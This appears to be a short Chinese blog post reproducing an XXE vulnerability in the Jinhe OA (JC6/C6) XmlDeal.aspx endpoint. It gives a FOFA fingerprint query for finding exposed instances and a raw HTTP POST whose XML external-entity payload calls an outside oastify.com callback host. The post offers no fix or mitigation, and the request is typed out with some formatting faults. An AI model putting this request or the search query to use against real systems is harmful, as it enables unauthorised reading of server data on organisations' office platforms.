【漏洞复现】金和OA XmlDeal.aspx XXE漏洞

本文主要是介绍【漏洞复现】金和OA XmlDeal.aspx XXE漏洞，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

0x01 产品简介

金和数字化智能办公平台（简称JC6）是一款结合了人工智能技术的数字化办公平台，为企业带来了智能化的办公体验和全面的数字化转型支持。同时符合国家信创认证标准，支持组织数字化转型，实现业务流程的数字化、智能化和协同化，提高企业竞争力。

0x02 漏洞概述

金和OA-C6-XmlDeal.aspx接口存在XML实体注入漏洞，未授权的攻击者可通过该漏洞获取服务器敏感数据。

0x03 测绘语句

fofa: app="金和网络-金和OA"

0x04 漏洞复现

​
使用burp自带的dnslogPOST /c6/JHSoft.Web.Message/XmlDeal.aspx HTTP/1.1Host:Content-Type: application/Xml<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://zdgenbqwmvts71ozygb7fowluc03otci.oastify.com/"> %remote;]>'​

这篇关于【漏洞复现】金和OA XmlDeal.aspx XXE漏洞的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！

---